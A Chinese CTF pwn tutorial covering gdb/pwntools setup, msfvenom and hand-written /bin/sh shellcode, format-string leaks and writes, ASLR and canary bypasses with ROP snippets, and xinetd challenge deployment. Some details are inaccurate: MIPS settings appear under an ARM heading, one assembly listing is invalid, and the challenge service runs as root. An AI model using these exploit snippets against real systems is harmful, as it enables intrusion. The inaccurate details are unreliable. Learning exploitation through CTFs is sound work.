1. NewStar-PWN入门:从零搭建二进制漏洞挖掘环境
刚接触二进制安全的新手常会遇到一个尴尬局面:看懂了各种漏洞原理,却连最基本的实验环境都搭不起来。去年我在指导NewStar战队新人时发现,90%的初学者卡在了环境配置阶段。本文将基于2024-2025赛季最新工具链,手把手带你完成PWN环境的搭建。
注意:推荐使用物理机安装Ubuntu 22.04 LTS,虚拟机可能遇到硬件辅助调试问题。我测试过联想小新Pro16(AMD R7)和ThinkPad T14(Intel i5)都能完美运行所有工具。
1.1 基础工具安装清单
先来个全家福套餐:
bash复制sudo apt update && sudo apt install -y \
git gdb gcc-multilib g++-multilib \
python3 python3-pip python3-dev \
libssl-dev libffi-dev \
make build-essential
这里有个坑点:Ubuntu默认的gdb功能残缺,我们需要源码编译增强版:
bash复制wget https://ftp.gnu.org/gnu/gdb/gdb-13.2.tar.gz
tar xvf gdb-13.2.tar.gz
cd gdb-13.2
./configure --with-python=python3 --enable-tui=yes
make -j$(nproc)
sudo make install
1.2 PWN工具三件套配置
- Pwntools:别直接用pip安装,会缺少关键依赖
bash复制git clone https://github.com/Gallopsled/pwntools
cd pwntools
pip install --upgrade -e .
- GEF插件:比peda更强大的调试利器
bash复制wget -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
- Libc数据库:自动匹配目标libc版本
bash复制git clone https://github.com/niklasb/libc-database
cd libc-database
./get ubuntu
2. GDB调试实战:从崩溃到利用
2.1 典型栈溢出漏洞分析
以2024 NewStar CTF的babypwn为例,先看崩溃现场:
bash复制$ ./babypwn $(python3 -c "print('A'*200)")
Segmentation fault (core dumped)
用GDB分析时,90%的新手会忽略这个关键步骤:
bash复制gdb -q ./babypwn -ex "set follow-fork-mode child" -ex "r < <(echo $(python3 -c "print('A'*200)"))"
经验:在调试fork型程序时,必须设置follow-fork-mode,否则会跟错进程。我在去年省赛就因此浪费了两小时。
2.2 精准控制EIP的技巧
当我们需要精确控制返回地址时,pattern工具比手动试错高效得多:
python复制from pwn import *
cyclic(200) # 生成定位字符串
cyclic_find(0x6161616c) # 计算偏移
但在ARM架构下有个坑点:龙芯平台的gdb需要特殊配置:
bash复制set architecture mips
set endian little
target remote :1234
3. Shellcode生成与优化
3.1 MSFVenom进阶用法
Kali中的msfvenom虽然方便,但生成的shellcode体积往往过大。经过实测,这个组合最优:
bash复制msfvenom -p linux/x86/exec CMD="/bin/sh" -f py -v shellcode \
--smallest \
--encoder x86/shikata_ga_nai \
--iterations 5 \
--bad-chars "\x00\x0a\x0d"
关键参数解析:
--smallest:启用体积优化算法--iterations 5:编码迭代次数(超过7次可能不稳定)--bad-chars:根据目标程序过滤特殊字符
3.2 手工精简Shellcode
看个实战案例,原始execve("/bin/sh")的汇编:
nasm复制mov eax, 0xb
mov ebx, ["/bin/sh"]
xor ecx, ecx
xor edx, edx
int 0x80
优化后仅15字节:
nasm复制push 0x68732f6e
push 0x69622f2f
mov ebx, esp
xor eax, eax
mov al, 0xb
xor ecx, ecx
xor edx, edx
int 0x80
4. 格式化字符串漏洞实战
4.1 泄露libc基地址
以buuctf的pwn1为例,通过格式化字符串泄露__libc_start_main:
python复制payload = b"%15$p"
p.sendline(payload)
leak = int(p.recvline(), 16)
libc_base = leak - 0x24083
这里有个玄学问题:偏移量15不是固定的,不同架构对应关系:
- x86:4~20参数寄存器+栈空间
- x64:前6个在寄存器,之后在栈上
- ARM:前4个在r0-r3
4.2 任意地址写利用技巧
使用%n写入时,推荐采用分层写入法:
python复制def write_addr(addr, value):
for i in range(4):
byte = (value >> (8*i)) & 0xff
payload = f"%{byte}c%18$hhn".encode()
payload += p64(addr + i)
p.sendline(payload)
避坑指南:当目标地址包含NULL字节时,必须将地址放在格式化字符串末尾,否则会被截断。这个坑在2023年全国大学生信息安全竞赛中坑了60%的参赛队。
5. 高级技巧:对抗现代防护机制
5.1 绕过ASLR的三种姿势
- Brute Force:适用于32位系统(成功率1/256)
python复制while True:
try:
p = process('./vuln')
p.sendline(payload)
p.interactive()
except:
p.close()
- Partial Overwrite:修改地址低12位(需信息泄露)
python复制leak = u64(p.recv(6).ljust(8, b'\x00'))
target = (leak & 0xfffff000) + 0xabc
- GOT Hijacking:通过修改GOT表项(需可写权限)
5.2 Canary绕过实战
案例:2024年TCTF的coffee题解
python复制# 泄露canary
p.send(b'A'*0x88 + b'B')
p.recvuntil(b'B')
canary = u64(b'\x00' + p.recv(7))
# 构造ROP链
payload = flat([
b'A'*0x88,
canary,
b'B'*8,
pop_rdi,
bin_sh,
system
])
6. 调试技巧:那些GDB不告诉你的秘密
6.1 多进程调试技巧
遇到fork炸弹时这样处理:
bash复制set detach-on-fork off
set follow-fork-mode child
catch exec
6.2 可视化调试实战
GDB的TUI模式比普通模式强大得多:
bash复制layout asm
layout regs
focus cmd
当遇到"unexpected gdb output"错误时,试试:
bash复制gdb -nx -ex "set auto-load safe-path /" ./target
7. 竞赛实战:从解题到出题
7.1 题目部署规范
推荐使用docker-compose标准化部署:
dockerfile复制FROM ubuntu:22.04
RUN apt update && apt install -y xinetd
COPY ./flag /flag
COPY ./pwn /pwn
RUN chmod 755 /pwn
配套的xinetd配置:
conf复制service pwn
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
type = UNLISTED
port = 9999
bind = 0.0.0.0
server = /pwn
instances = 100
}
7.2 流量监控技巧
用socat记录选手攻击流量:
bash复制socat -v TCP-LISTEN:9999,fork,reuseaddr \
EXEC:"/pwn",pty,stderr,setsid,sigint,rawer
我在实际运维中发现,加上setsid可以防止选手通过kill父进程来中断记录。
最后分享一个私藏技巧:当遇到stm32等嵌入式设备时,OpenOCD调试突然退出的问题,可以这样解决:
bash复制openocd -f interface/stlink.cfg -f target/stm32f4x.cfg \
-c "gdb_port 3333" -c "tcl_port 6666" \
-c "init; reset halt"
记住,PWN的本质是对计算机系统的深刻理解。去年我带的新人中有个同学每天坚持逆向50个函数,三个月后就能独立完成kernel pwn。现在他已经在某大厂安全团队负责漏洞挖掘了。
